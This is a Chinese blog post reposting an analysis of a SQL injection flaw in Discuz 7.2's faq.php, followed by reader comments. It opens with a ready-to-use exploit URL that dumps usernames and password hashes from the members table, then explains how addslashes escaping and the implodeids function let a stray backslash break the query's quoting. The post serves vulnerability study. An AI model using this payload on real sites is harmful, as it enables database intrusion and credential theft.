正在阅读:

discuz7.2 faq.php 最新注入漏洞分析

8,347

很久没有给大家分享文章了,抽空网上找点好文章分享给大家。 最近dz7.2 faq.php注入闹的挺凶的,但是网上很多文章都是直接给出的EXP,没有给出分析文章,这里我转一个分析的文章给大家研究一下。。

EXP如下:

http://www.waitalone.cn/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析:

faq.php,找到action=grouppermission的代码(148行开始):

} elseif($action == 'grouppermission') {

...
...
	ksort($gids);
	$groupids = array();
	foreach($gids as $row) {
		$groupids[] = $row[0];
	}

	$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。
为什么这个操作就造成了注入?

discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数

function implodeids($array) {
	if(!empty($array)) {
		return "'".implode("','", is_array($array) ? $array : array($array))."'";
	} else {
		return '';
	}
}

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:'1','\','3','4'

有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。

这样3这个位置就等于逃逸出了单引号,也就是产生的注入。我们把报错语句放在3这个位置,就能报错。

原文地址:http://www.leavesongs.com/discuz72-sql-injection.html

目前有:3条访客评论,博主回复2

  1. 匿名
    2014-09-16 14:11

    7.2 五六年之前的版本了吧?不知道价值大不大

  2. sec
    2015-03-17 19:37

    楼主来一个代码审计。最近才开始学习php。希望多学习一点代码审计方面的知识。

    • 独自等待
      2015-03-18 10:44

      我博客上面转了一个代码审计的软件,你搜索一下。代码审计我也不行,还在学习中。

  3. 凯哥自媒体

    挺好的,感谢博主的分享。

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌